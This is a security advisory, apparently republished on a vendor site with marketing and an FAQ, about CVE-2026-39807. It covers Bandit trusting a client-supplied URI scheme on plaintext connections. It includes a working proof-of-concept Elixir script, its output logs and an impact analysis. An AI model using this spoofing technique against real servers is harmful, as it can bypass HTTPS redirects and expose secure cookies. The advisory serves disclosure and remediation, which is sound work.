Summary
Bandit trusts client-supplied URI scheme on plaintext connections
Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal, Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating, is silently misled into treating an attacker's plaintext connection as encrypted.
The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28
Details
The bug is in lib/bandit/pipeline.ex at determine_scheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {_, scheme} -> scheme, i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.
Two attacker-controlled inputs reach this code path:
- HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g.
GET https://victim/path HTTP/1.1. - HTTP/2
:schemepseudo-header, which is a free-form string sent by the client.
Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determine_scheme/2; the discarding of secure? is deliberate.
Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http", or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.
PoC
A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:
GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close
A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.
Script and Logs
# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application, even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs
Mix.install([
{:bandit, "~> 1.10"},
{:plug, "~> 1.19"}
])
defmodule SchemeApp do
@behaviour Plug
def init(opts), do: opts
def call(conn, _opts) do
body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
Plug.Conn.send_resp(conn, 200, body)
end
end
defmodule SchemeSpoof do
@port 4321
def run do
{:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
# Absolute-form request target with scheme "https" over a plaintext
# TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
# nothing about it implies the connection is TLS.
request =
"GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
"Host: 127.0.0.1:#{@port}\r\n" <>
"Connection: close\r\n" <>
"\r\n"
log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.")
:ok = :gen_tcp.send(sock, request)
{:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
:gen_tcp.close(sock)
log("Server response:")
IO.puts(response)
cond do
response =~ "conn.scheme=:https" ->
log("VULNERABLE, application sees conn.scheme = :https on a plaintext socket.")
log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.")
response =~ "conn.scheme=:http" ->
log("Server forced scheme to :http, bug appears patched.")
true ->
log("Unexpected response shape.")
end
end
defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end
SchemeSpoof.run()
12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate
This is what the Plug sees: conn.scheme=:https
[10:53:25.316] VULNERABLE, application sees conn.scheme = :https on a plaintext socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.
Impact
Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:
Plug.SSLskipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.- Cookies emitted with
secure: trueon a plaintext response, where a network attacker could capture them. - Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
- Application code that uses
conn.schemeto gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.
The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-39807? CVE-2026-39807 is a medium-severity security vulnerability in bandit (erlang), affecting versions >= 1.0.0, < 1.11.0. It is fixed in 1.11.0.
- Which versions of bandit are affected by CVE-2026-39807? bandit (erlang) versions >= 1.0.0, < 1.11.0 is affected.
- Is there a fix for CVE-2026-39807? Yes. CVE-2026-39807 is fixed in 1.11.0. Upgrade to this version or later.
- Is CVE-2026-39807 exploitable, and should I be worried? Whether CVE-2026-39807 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-39807 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-39807? Upgrade
banditto 1.11.0 or later.